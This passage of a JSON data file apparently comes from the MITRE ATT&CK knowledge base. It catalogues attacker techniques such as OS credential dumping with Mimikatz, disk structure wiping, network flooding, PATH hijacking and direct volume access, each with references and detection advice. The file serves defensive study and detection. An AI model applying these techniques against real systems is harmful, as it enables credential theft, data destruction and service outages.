                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
                },
                {
                    "source_name": "Brining MimiKatz to Unix",
                    "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
                    "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:53:37.617Z",
            "name": "OS Credential Dumping",
            "description": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Vincent Le Toux",
                "Ed Williams, Trustwave, SpiderLabs",
                "Tim (Wadhwa-)Brown",
                "Yves Yonan"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "### Windows\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols  (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/<pid>/maps`, where the `<pid>` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
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            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Process: Process Creation",
                "Network Traffic: Network Traffic Flow",
                "File: File Creation",
                "Windows Registry: Windows Registry Key Access",
                "Process: OS API Execution",
                "File: File Access",
                "Process: Process Access",
                "Command: Command Execution",
                "Active Directory: Active Directory Object Access"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65",
            "created": "2017-05-31T21:31:40.542Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1129",
                    "external_id": "T1129"
                },
                {
                    "source_name": "RotaJakiro 2021 netlab360 analysis",
                    "description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.",
                    "url": "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"
                },
                {
                    "source_name": "Apple Dev Dynamic Libraries",
                    "description": "Apple. (2012, July 23). Overview of Dynamic Libraries. Retrieved September 7, 2023.",
                    "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"
                },
                {
                    "source_name": "Unit42 OceanLotus 2017",
                    "description": "Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"
                },
                {
                    "source_name": "Microsoft DLL",
                    "description": "Microsoft. (2023, April 28). What is a DLL. Retrieved September 7, 2023.",
                    "url": "https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library"
                },
                {
                    "source_name": "Linux Shared Libraries",
                    "description": "Wheeler, D. (2003, April 11). Shared Libraries. Retrieved September 7, 2023.",
                    "url": "https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"
                }
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            "modified": "2025-04-15T19:58:04.668Z",
            "name": "Shared Modules",
            "description": "Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.\n\nThe Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)\n\nThe Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_data_sources": [
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74",
            "created": "2020-10-19T23:46:13.931Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1602",
                    "external_id": "T1602"
                },
                {
                    "source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities",
                    "description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3"
                },
                {
                    "source_name": "US-CERT TA17-156A SNMP Abuse 2017",
                    "description": "US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/TA17-156A"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                }
            ],
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            "modified": "2025-04-16T20:37:15.147Z",
            "name": "Data from Configuration Repository",
            "description": "Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9",
            "created": "2020-02-20T22:10:20.484Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1561/002",
                    "external_id": "T1561.002"
                },
                {
                    "source_name": "format_cmd_cisco",
                    "description": "Cisco. (2022, August 16). format - Cisco IOS Configuration Fundamentals Command Reference. Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668"
                },
                {
                    "source_name": "Unit 42 Shamoon3 2018",
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
                },
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                },
                {
                    "source_name": "FireEye Shamoon Nov 2016",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
                },
                {
                    "source_name": "Kaspersky StoneDrill 2017",
                    "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
                },
                {
                    "source_name": "Microsoft Sysmon v6 May 2017",
                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
                },
                {
                    "source_name": "Symantec Shamoon 2012",
                    "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
                }
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            "modified": "2025-04-15T19:58:04.838Z",
            "name": "Disk Structure Wipe",
            "description": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Austin Clark, @c2defense"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the <code>\\\\\\\\.\\\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\n\nFor network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_impact_type": [
                "Availability"
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            "x_mitre_data_sources": [
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                "Drive: Drive Modification",
                "Drive: Drive Access",
                "Command: Command Execution",
                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3",
            "created": "2020-03-02T20:07:18.651Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1498/001",
                    "external_id": "T1498.001"
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
                },
                {
                    "source_name": "USNYAG IranianBotnet March 2016",
                    "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.",
                    "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged"
                }
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            ],
            "modified": "2025-04-15T22:19:07.343Z",
            "name": "Direct Network Flood",
            "description": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Sensor Health: Host Status"
            ],
            "x_mitre_impact_type": [
                "Availability"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92",
            "created": "2019-04-09T11:51:30.942Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1492",
                    "external_id": "T1492"
                },
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
                    "url": "https://content.fireeye.com/apt/rpt-apt38"
                },
                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download"
                }
            ],
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            ],
            "modified": "2025-04-25T15:15:07.583Z",
            "name": "Stored Data Manipulation",
            "description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_impact_type": [
                "Integrity"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32",
            "created": "2020-03-13T14:10:43.424Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/007",
                    "external_id": "T1574.007"
                },
                {
                    "source_name": "Elastic Rules macOS launchctl 2022",
                    "description": "Elastic Security 7.17. (2022, February 1). Modification of Environment Variable via Launchctl. Retrieved September 28, 2023.",
                    "url": "https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html"
                },
                {
                    "source_name": "ExpressVPN PATH env Windows 2021",
                    "description": "ExpressVPN Security Team. (2021, November 16). Cybersecurity lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.",
                    "url": "https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/"
                },
                {
                    "source_name": "uptycs Fake POC linux malware 2023",
                    "description": "Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit: Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.",
                    "url": "https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware"
                },
                {
                    "source_name": "nixCraft macOS PATH variables",
                    "description": "Vivek Gite. (2023, August 22). MacOS \u2013 Set / Change $PATH Variable Command. Retrieved September 28, 2023.",
                    "url": "https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:05.096Z",
            "name": "Path Interception by PATH Environment Variable",
            "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched.  An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Stefan Kanthak"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a",
            "created": "2020-02-14T13:35:32.938Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1213/002",
                    "external_id": "T1213.002"
                },
                {
                    "source_name": "Microsoft SharePoint Logging",
                    "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.",
                    "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"
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            "modified": "2025-04-15T23:07:18.929Z",
            "name": "Sharepoint",
            "description": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
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            "x_mitre_contributors": [
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            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \n\n",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Application Log: Application Log Content",
                "Cloud Service: Cloud Service Metadata"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
            "created": "2017-05-31T21:30:20.934Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1006",
                    "external_id": "T1006"
                },
                {
                    "source_name": "Github PowerSploit Ninjacopy",
                    "description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.",
                    "url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1"
                },
                {
                    "source_name": "Hakobyan 2009",
                    "description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.",
                    "url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin"
                },
                {
                    "source_name": "LOLBAS Esentutl",
                    "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-15T19:58:05.272Z",
            "name": "Direct Volume Access",
            "description": "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Tom Simpson, CrowdStrike Falcon OverWatch"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.",
